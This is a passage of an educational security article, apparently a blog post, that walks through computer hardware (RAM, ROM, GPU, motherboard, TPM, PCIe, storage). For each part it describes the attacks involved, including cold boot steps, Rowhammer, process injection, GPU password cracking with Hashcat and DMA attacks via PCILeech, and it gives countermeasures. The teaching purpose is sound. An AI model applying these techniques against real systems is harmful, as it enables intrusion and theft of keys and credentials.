&lt;td&gt;Defeats ROP/JOP attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Intel TXT / AMD SVM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Trusted execution environments&lt;/td&gt;
&lt;td&gt;Measured boot, isolated execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;SGX&lt;/strong&gt; (Software Guard Extensions)&lt;/td&gt;
&lt;td&gt;Encrypted memory enclaves&lt;/td&gt;
&lt;td&gt;Protects sensitive code even from privileged attackers&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Attacker's Perspective:&lt;/strong&gt; When you read about exploit mitigations being bypassed, you are reading about attackers finding clever ways around these hardware features. SMEP bypass, for example, requires either finding a way to execute code in kernel memory directly (not user memory), or manipulating CPU control registers (CR4) to temporarily disable SMEP. This is why privilege escalation exploits in 2024 are far more complex than in 2005.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. RAM
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 What Is RAM?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Random Access Memory (RAM)&lt;/strong&gt; is volatile, high-speed storage that holds the currently running operating system, applications, and their data. "Volatile" means all data is lost when power is removed. A 16GB RAM module stores 16 billion bytes of information that completely disappears the moment the computer shuts down.&lt;/p&gt;

&lt;p&gt;For a security professional, RAM is arguably the &lt;strong&gt;most important forensic artifact&lt;/strong&gt; in incident response. Malware increasingly lives entirely in memory — never touching the disk — precisely because it knows that most security tools focus on files.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 How RAM Works
&lt;/h3&gt;

&lt;p&gt;RAM is composed of billions of capacitors and transistors. Each capacitor represents one bit — charged represents 1, uncharged represents 0. Because capacitors drain over time, &lt;strong&gt;DRAM (Dynamic RAM)&lt;/strong&gt; must be refreshed thousands of times per second, which is why it requires continuous power.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory Addressing:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every byte in RAM has a unique address. Modern 64-bit systems use a &lt;strong&gt;virtual address space&lt;/strong&gt; — each process believes it has access to the entire 64-bit address space (theoretically 16 exabytes, though current implementations use 48-bit addressing = 256 TB). The CPU's &lt;strong&gt;MMU (Memory Management Unit)&lt;/strong&gt; translates virtual addresses to physical addresses using &lt;strong&gt;page tables&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Process Virtual Address Space (simplified):
┌──────────────────────┐  High Address (0xFFFFFFFFFFFFFFFF)
│    Kernel Space      │  ← Only accessible in Ring 0
├──────────────────────┤  
│       Stack          │  ← Grows downward; local variables, return addresses
│          ↓           │
│    (free space)      │
│          ↑           │
│        Heap          │  ← Grows upward; dynamically allocated memory (malloc)
├──────────────────────┤
│    BSS Segment       │  ← Uninitialized global/static variables
├──────────────────────┤
│    Data Segment      │  ← Initialized global/static variables
├──────────────────────┤
│    Text Segment      │  ← Executable code (marked NX/non-writable ideally)
└──────────────────────┘  Low Address (0x0000000000000000)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Security Critical:&lt;/strong&gt; This memory layout is the foundation of nearly every exploit class. Buffer overflows target the &lt;strong&gt;stack&lt;/strong&gt;, heap exploits target the &lt;strong&gt;heap&lt;/strong&gt;, and format string vulnerabilities can read/write anywhere. You will spend hundreds of hours working with this layout in later stages. Understand it now.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  2.3 RAM Types and Specifications
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Full Name&lt;/th&gt;
&lt;th&gt;Characteristics&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DDR4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Double Data Rate 4&lt;/td&gt;
&lt;td&gt;Most common today; 2133–3600 MHz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DDR5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Double Data Rate 5&lt;/td&gt;
&lt;td&gt;Latest gen; 4800–8000+ MHz; improved security features&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ECC RAM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Error-Correcting Code&lt;/td&gt;
&lt;td&gt;Detects and corrects single-bit errors; used in servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LPDDR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low Power DDR&lt;/td&gt;
&lt;td&gt;Mobile devices; lower voltage, higher efficiency&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;ECC RAM and Security:&lt;/strong&gt; Single-bit errors in RAM occur naturally due to cosmic ray bombardment (seriously — this is real). In regular RAM, these errors can cause system crashes or &lt;strong&gt;data corruption&lt;/strong&gt;. In a server handling financial transactions or cryptographic operations, a single flipped bit could be catastrophic. ECC RAM detects and corrects these errors automatically. For security-critical server infrastructure, ECC RAM is not optional — it is a fundamental reliability requirement.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.4 RAM as a Security Battlefield
&lt;/h3&gt;

&lt;h4&gt;
  
  
  2.4.1 Memory Forensics
&lt;/h4&gt;

&lt;p&gt;When a system is compromised, the attacker's malware &lt;strong&gt;lives in RAM&lt;/strong&gt;. The malware processes, network connections, decrypted strings, encryption keys, and even passwords can all be found in a memory dump. This is why &lt;strong&gt;live forensics&lt;/strong&gt; (capturing RAM from a running system before shutdown) is a critical incident response skill.&lt;/p&gt;

&lt;p&gt;Key tools: &lt;strong&gt;Volatility 3&lt;/strong&gt;, &lt;strong&gt;Rekall&lt;/strong&gt; (deprecated but historically important), &lt;strong&gt;WinPmem&lt;/strong&gt; (for Windows RAM acquisition), &lt;strong&gt;LiME&lt;/strong&gt; (Linux Memory Extractor).&lt;/p&gt;

&lt;p&gt;What you can find in a RAM dump:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Running processes (including hidden/injected ones)&lt;/li&gt;
&lt;li&gt;Network connections and their state&lt;/li&gt;
&lt;li&gt;Registry hives loaded in memory&lt;/li&gt;
&lt;li&gt;Decrypted versions of encrypted files (ransomware may leave keys briefly)&lt;/li&gt;
&lt;li&gt;Browser history, passwords in memory&lt;/li&gt;
&lt;li&gt;Malware code that never touched disk (fileless malware)&lt;/li&gt;
&lt;li&gt;Cryptographic keys in use&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  2.4.2 RAM-Based Attack Techniques
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Fileless Malware:&lt;/strong&gt; Malware that executes entirely in RAM, never writing to disk. It typically hijacks a legitimate process (e.g., PowerShell) and injects malicious code into its memory space. Traditional antivirus (which scans files on disk) is largely blind to it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Process Injection Techniques:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DLL Injection:&lt;/strong&gt; Forces a target process to load a malicious DLL into its address space&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process Hollowing:&lt;/strong&gt; Creates a legitimate process in suspended state, empties its memory, replaces it with malicious code, resumes execution&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reflective DLL Injection:&lt;/strong&gt; DLL loads itself directly from memory without touching the filesystem&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Thread Execution Hijacking:&lt;/strong&gt; Suspends a thread, modifies its context to point to shellcode, resumes it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Heap Spraying:&lt;/strong&gt; An attacker fills the heap with copies of shellcode (often preceded by a long NOP sled) to increase the probability that a controlled jump will land in executable shellcode. Classic technique used in browser exploitation.&lt;/p&gt;

&lt;h4&gt;
  
  
  2.4.3 Cold Boot Attack — When "Volatile" Is Not Fast Enough
&lt;/h4&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;This is one of the most fascinating hardware attacks in existence.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;RAM retains data for seconds to minutes after power is removed, especially when cooled. The data fades exponentially with time and temperature. By &lt;strong&gt;spraying RAM modules with compressed air (or liquid nitrogen)&lt;/strong&gt;, an attacker can slow the data decay dramatically — sometimes preserving data for hours.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The attack:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Gain brief physical access to a running (or recently powered off) computer&lt;/li&gt;
&lt;li&gt;Optionally, cool the RAM modules with compressed air spray (inverted can)&lt;/li&gt;
&lt;li&gt;Remove the RAM sticks (modern DDR can sometimes be hot-swapped)&lt;/li&gt;
&lt;li&gt;Boot from a USB drive designed to dump RAM contents&lt;/li&gt;
&lt;li&gt;Recover the data — including disk encryption keys (e.g., BitLocker, FileVault, LUKS)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Real-world significance:&lt;/strong&gt; This attack, demonstrated by researchers at Princeton University in 2008, showed that &lt;strong&gt;full-disk encryption does not protect against a physically present attacker&lt;/strong&gt; if the system is running or recently suspended. The encryption key is in RAM. This fundamentally changed how we think about encryption vs. physical access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Countermeasures:&lt;/strong&gt; Enable BitLocker's pre-boot PIN, disable Sleep mode (use Hibernate instead, which flushes RAM to disk and powers off), configure firmware to prevent boot from external media, enable Intel TXT/AMD SEV for encrypted memory.&lt;/p&gt;

&lt;h4&gt;
  
  
  2.4.4 Rowhammer Attack — Flipping Bits Without Physical Access
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Rowhammer&lt;/strong&gt; (discovered 2014) is a hardware vulnerability in DRAM. By repeatedly accessing (hammering) rows of memory, an attacker can cause bit flips in adjacent rows — &lt;strong&gt;changing memory values without ever having write permission to those memory locations&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This has been used to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Escalate privileges (flip a bit in a page table to gain write access to privileged memory)&lt;/li&gt;
&lt;li&gt;Break out of virtual machines&lt;/li&gt;
&lt;li&gt;Attack JavaScript engines to gain code execution in browsers&lt;/li&gt;
&lt;li&gt;Attack Android phones remotely via JavaScript&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The implication is profound: &lt;strong&gt;even if software is perfectly written with no bugs, hardware-level vulnerabilities can still create exploitable conditions&lt;/strong&gt;. This is why hardware security research is increasingly important.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. ROM
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 What Is ROM?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Read-Only Memory (ROM)&lt;/strong&gt; is non-volatile memory that retains its contents without power. In classical computing, "read-only" meant the data was permanently fixed at manufacturing. In modern systems, the term has evolved to encompass various types of persistent, low-level storage that is not directly user-accessible during normal operation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Types of ROM in the modern context:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Full Name&lt;/th&gt;
&lt;th&gt;Characteristics&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mask ROM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Factory-programmed ROM&lt;/td&gt;
&lt;td&gt;Truly read-only; written at semiconductor fab; used in microcontrollers, game cartridges&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PROM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Programmable ROM&lt;/td&gt;
&lt;td&gt;Written once by the user with a PROM burner&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EPROM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Erasable PROM&lt;/td&gt;
&lt;td&gt;Erased by UV light exposure through a quartz window; reprogrammable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EEPROM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Electrically Erasable PROM&lt;/td&gt;
&lt;td&gt;Can be erased/written electrically, byte by byte; used for BIOS/UEFI storage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flash Memory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Flash EEPROM&lt;/td&gt;
&lt;td&gt;Block-erased EEPROM; used in SSDs, USB drives, firmware chips; fast and dense&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;eFuse&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Electronic Fuse&lt;/td&gt;
&lt;td&gt;One-time programmable bits in a CPU; used for device configuration, secure boot keys&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  3.2 ROM in the Security Context
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Firmware Storage:&lt;/strong&gt; The BIOS/UEFI firmware (covered in section 7) is stored in a flash chip on the motherboard — this is a form of ROM. The firmware initializes all hardware before the operating system loads. If this chip is compromised, an attacker has persistence that survives OS reinstallation, and even hard drive replacement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Microcontroller ROM:&lt;/strong&gt; In OT/ICS environments, PLCs (Programmable Logic Controllers) contain ROM that stores the device's operating firmware. Attacks on this firmware — like Stuxnet's modification of Siemens PLC code — represent some of the most sophisticated attacks ever documented. Understanding ROM in embedded systems is critical for ICS security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secure Boot and ROM-stored Keys:&lt;/strong&gt; Modern systems use hardware security chips (TPM, Secure Enclave) that contain root-of-trust keys in write-protected ROM. These keys are used to verify that the boot chain has not been tampered with. If the ROM itself is compromised, the entire root of trust collapses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hardware Security Module (HSM) ROM:&lt;/strong&gt; HSMs store cryptographic keys in tamper-evident hardware. Attempts to read the ROM physically trigger key erasure. Understanding ROM in HSMs is critical for cryptographic infrastructure security.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. GPU
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 What Is a GPU?
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Graphics Processing Unit (GPU)&lt;/strong&gt; was originally designed to accelerate rendering of 3D graphics. Where a CPU has 8–64 powerful general-purpose cores, a GPU has thousands of smaller, simpler cores optimized for parallel computation. A modern NVIDIA RTX 4090 contains &lt;strong&gt;16,384 CUDA cores&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This massive parallelism makes GPUs extraordinarily powerful for any computation that can be broken into independent parallel tasks.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 GPU Architecture: Why Parallelism Matters
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CPU Architecture:              GPU Architecture:
┌──────────────────┐          ┌──────────────────────────────────────┐
│  Core 1 (big)    │          │  SM1  SM2  SM3  SM4  SM5  SM6  ...  │
│  Core 2 (big)    │          │  [128 tiny cores per SM × 128 SMs]  │
│  Core 3 (big)    │          │  = 16,384 total CUDA cores           │
│  Core 4 (big)    │          │                                      │
│  (optimized for  │          │  (optimized for thousands of         │
│   sequential     │          │   parallel simple computations)      │
│   complex tasks) │          │                                      │
└──────────────────┘          └──────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;For cybersecurity, GPU parallelism directly translates to password cracking speed.&lt;/strong&gt; Consider the task of trying all possible 8-character passwords with lowercase letters (26^8 = ~208 billion combinations). A CPU might try 1–10 million hashes per second. A GPU might try 10–100 &lt;strong&gt;billion&lt;/strong&gt; hashes per second — a difference of four to five orders of magnitude.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.3 GPU in Offensive Security — Password Cracking
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Hashcat&lt;/strong&gt; is the de-facto GPU-accelerated password cracking tool. It supports hundreds of hash types and uses the GPU to perform massively parallel hash computation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Benchmark comparison&lt;/strong&gt; (MD5, rough estimates):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hardware&lt;/th&gt;
&lt;th&gt;MD5 Speed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CPU (single-thread)&lt;/td&gt;
&lt;td&gt;~50 MH/s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CPU (8 cores)&lt;/td&gt;
&lt;td&gt;~400 MH/s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RTX 3090&lt;/td&gt;
&lt;td&gt;~68,000 MH/s (68 GH/s)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8× RTX 3090 rig&lt;/td&gt;
&lt;td&gt;~544,000 MH/s&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Attack modes in Hashcat:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Brute-force (Mask Attack):&lt;/strong&gt; Try all combinations in a defined character set and length. &lt;code&gt;?l?l?l?l?l?l?l?l&lt;/code&gt; = all 8-char lowercase. Infeasible for long complex passwords; devastating for short ones.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dictionary Attack:&lt;/strong&gt; Try all words in a wordlist (e.g., RockYou.txt with 14 million real passwords).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rule-based Attack:&lt;/strong&gt; Apply mutation rules to dictionary words (&lt;code&gt;password&lt;/code&gt; → &lt;code&gt;P@$$w0rd&lt;/code&gt;, &lt;code&gt;passw0rd!&lt;/code&gt;, etc.). This is where cracking becomes an art form.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Combinator Attack:&lt;/strong&gt; Combine two wordlists (&lt;code&gt;john&lt;/code&gt; + &lt;code&gt;2023&lt;/code&gt; = &lt;code&gt;john2023&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PRINCE Attack:&lt;/strong&gt; Probabilistic ordering of elements based on Markov chains of real password patterns.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Mindset Shift:&lt;/strong&gt; Many people think that hashing passwords makes them "safe." Hashing prevents the storage of plaintext, but it does not prevent offline cracking if the hash is leaked. When a database is breached and password hashes are stolen, an attacker takes the hash file home and runs Hashcat for days or weeks. If the passwords were weak (under 10 characters, common words, predictable patterns), they will be cracked. This is why password hashing algorithms matter: &lt;strong&gt;bcrypt, scrypt, Argon2&lt;/strong&gt; are designed to be slow and memory-intensive, making GPU cracking far less effective. &lt;strong&gt;MD5 and SHA-1 for password storage are unacceptable by any modern standard.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  4.4 GPU in Defensive Security — AI/ML
&lt;/h3&gt;

&lt;p&gt;GPUs power machine learning, and ML is increasingly used in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Behavioral anomaly detection in SIEM systems&lt;/li&gt;
&lt;li&gt;Network traffic classification&lt;/li&gt;
&lt;li&gt;Malware classification via neural networks&lt;/li&gt;
&lt;li&gt;Natural language processing for phishing detection&lt;/li&gt;
&lt;li&gt;Large language model-based security assistants&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.5 GPU Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;GPU-Based Malware:&lt;/strong&gt; Mining malware (cryptojackers) hijacks GPU resources to mine cryptocurrency, often undetected because security tools focus on CPU usage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GPU Memory Attacks:&lt;/strong&gt; Research has demonstrated that GPU memory is not cleared between processes, potentially allowing one process to read residual data left by another. Unlike CPU memory with sophisticated isolation, GPU memory isolation is historically weaker.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VRAM Scraping:&lt;/strong&gt; Since GPUs process rendered frames that may contain sensitive information (passwords typed in browser, document contents), VRAM has been a target for data exfiltration research.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. The Motherboard
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 What Is the Motherboard?
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;motherboard (mainboard)&lt;/strong&gt; is the primary printed circuit board (PCB) that interconnects all components of the computer. It is the physical and electrical backbone of the system.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 Critical Motherboard Components
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────────────┐
│                         MOTHERBOARD                             │
│                                                                 │
│  ┌──────┐  ┌──────┐  ┌──────┐  ┌──────┐                       │
│  │ RAM  │  │ RAM  │  │ RAM  │  │ RAM  │  ← DIMM Slots          │
│  └──────┘  └──────┘  └──────┘  └──────┘                       │
│                                                                 │
│  ┌──────────────┐     ┌─────────────────────────┐             │
│  │     CPU      │─────│       PCH/Chipset        │             │
│  │   + Socket   │     │   (Platform Controller   │             │
│  └──────────────┘     │         Hub)             │             │
│                       └─────────────────────────┘             │
│                                    │                            │
│  ┌─────────┐  ┌─────────┐  ┌──────────┐  ┌───────────┐       │
│  │ PCIe x16│  │ PCIe x4 │  │  M.2     │  │  SATA     │       │
│  │  (GPU)  │  │ (NVMe)  │  │  Slot    │  │  Ports    │       │
│  └─────────┘  └─────────┘  └──────────┘  └───────────┘       │
│                                                                 │
│  ┌──────────┐  ┌────────┐  ┌──────────┐  ┌──────────────┐    │
│  │  BIOS/   │  │  TPM   │  │  Power   │  │   I/O Panel  │    │
│  │  UEFI    │  │  Chip  │  │ Connectors│  │ (USB, LAN,   │    │
│  │  Chip    │  │        │  │          │  │  Audio, etc) │    │
│  └──────────┘  └────────┘  └──────────┘  └──────────────┘    │
└─────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 The Chipset (PCH — Platform Controller Hub)
&lt;/h3&gt;

&lt;p&gt;The chipset manages communication between the CPU and all other components. It handles I/O operations: USB controllers, SATA controllers, PCIe lanes for non-GPU devices, audio, and network interfaces.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security Relevance:&lt;/strong&gt; The chipset runs its own firmware. Intel's &lt;strong&gt;Management Engine (ME)&lt;/strong&gt; and AMD's &lt;strong&gt;Platform Security Processor (PSP)&lt;/strong&gt; are embedded subsystems within the chipset that operate independently of the main CPU, at a privilege level below the operating system — sometimes called &lt;strong&gt;Ring -2&lt;/strong&gt; or &lt;strong&gt;Ring -3&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Intel Management Engine — A Controversial Security Topic:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Intel ME is a separate processor embedded in the PCH that runs its own operating system (MINIX 3) and has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Access to system memory, bypassing the CPU&lt;/li&gt;
&lt;li&gt;Access to the network interface, independent of the main OS&lt;/li&gt;
&lt;li&gt;The ability to remotely control the system (Intel AMT — Active Management Technology)&lt;/li&gt;
&lt;li&gt;Persistent operation even when the main system is powered off (as long as PSU is connected)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Vulnerabilities:&lt;/strong&gt; CVE-2017-5689 (Intel AMT critical auth bypass) allowed unauthenticated remote access to systems with Intel AMT enabled. An attacker on the same network could take complete control of the machine regardless of the operating system state. &lt;strong&gt;This vulnerability affected millions of business laptops and desktops.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The ME cannot be fully disabled through normal means, which has led to significant controversy in the security community about whether it represents an intentional backdoor. Some security-focused distributions attempt to neutralize it through projects like &lt;strong&gt;me_cleaner&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 TPM — Trusted Platform Module
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;TPM&lt;/strong&gt; is a dedicated security chip on the motherboard (or increasingly integrated into the CPU) that performs cryptographic operations in hardware.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TPM capabilities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Secure key storage:&lt;/strong&gt; Keys generated inside the TPM never leave the chip in unencrypted form&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Measured Boot:&lt;/strong&gt; The TPM records cryptographic measurements of each boot component (firmware → bootloader → kernel), creating a tamper-evident chain&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remote Attestation:&lt;/strong&gt; A remote server can verify that your system has not been tampered with by requesting a signed report of boot measurements from the TPM&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Platform Binding:&lt;/strong&gt; Keys and secrets can be "sealed" to a specific system state — they can only be decrypted if the system boots in exactly the measured configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;BitLocker and TPM:&lt;/strong&gt; Windows BitLocker uses the TPM to store the Volume Master Key. The TPM will only release the key if the boot measurements match what was recorded when BitLocker was configured. If the bootloader is modified (e.g., by a bootkit), the measurements change, and the TPM refuses to release the key — &lt;strong&gt;the disk remains encrypted and inaccessible.&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Attack:&lt;/strong&gt; TPM 2.0 was found vulnerable to a bus-sniffing attack (2023). On systems where the TPM is a discrete chip communicating with the CPU over an LPC or SPI bus, the key transfer between TPM and CPU can be captured with a logic analyzer. This is precisely the kind of hardware-level attack that requires physical access and specialized equipment — but it has been demonstrated successfully against Microsoft Surface Pro devices. The solution is to use a TPM BitLocker configuration with a pre-boot PIN, so the raw key transmission is not sufficient without the PIN.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  5.5 PCIe — The High-Speed Interconnect and DMA Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;PCIe (Peripheral Component Interconnect Express)&lt;/strong&gt; is the primary high-speed interface connecting GPUs, NVMe SSDs, and other expansion cards to the motherboard.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PCIe DMA (Direct Memory Access):&lt;/strong&gt; PCIe devices can read and write system RAM directly, without going through the CPU. This is how GPUs load textures, how network cards receive packets, and how NVMe SSDs transfer data — all faster than if every operation had to go through the CPU.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Security Implication — DMA Attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Any PCIe device has the potential to read and write arbitrary system memory. This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A malicious GPU or network card could read passwords from memory&lt;/li&gt;
&lt;li&gt;A malicious Thunderbolt/USB4 device (which exposes PCIe) could take complete control of a system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Real-world attack:&lt;/strong&gt; The &lt;strong&gt;PCILeech&lt;/strong&gt; tool uses a $200 FPGA connected via PCIe/M.2 to read physical memory of a running system. It can extract BitLocker keys, inject code into the kernel, and maintain persistence — all while the operating system is completely unaware, because the OS is not consulted for DMA operations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IOMMU — The Defense:&lt;/strong&gt; An &lt;strong&gt;IOMMU (Input-Output Memory Management Unit)&lt;/strong&gt; (Intel VT-d, AMD-Vi) provides the same protection for DMA that the MMU provides for CPU memory access — it restricts which memory regions each device can access. When properly configured, even a malicious PCIe device cannot read arbitrary memory. However, IOMMU must be enabled in UEFI, properly configured by the OS, and not disabled by device drivers.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Storage: HDD, SSD, NVMe
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Hard Disk Drive (HDD)
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;Hard Disk Drive&lt;/strong&gt; stores data on magnetic platters that spin at 5,400–15,000 RPM. A read/write head moves across the platter surface to access data. This mechanical nature creates:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt; High capacity at low cost, data recoverable even after deletion (forensics), no write wear issues.&lt;/p&gt;

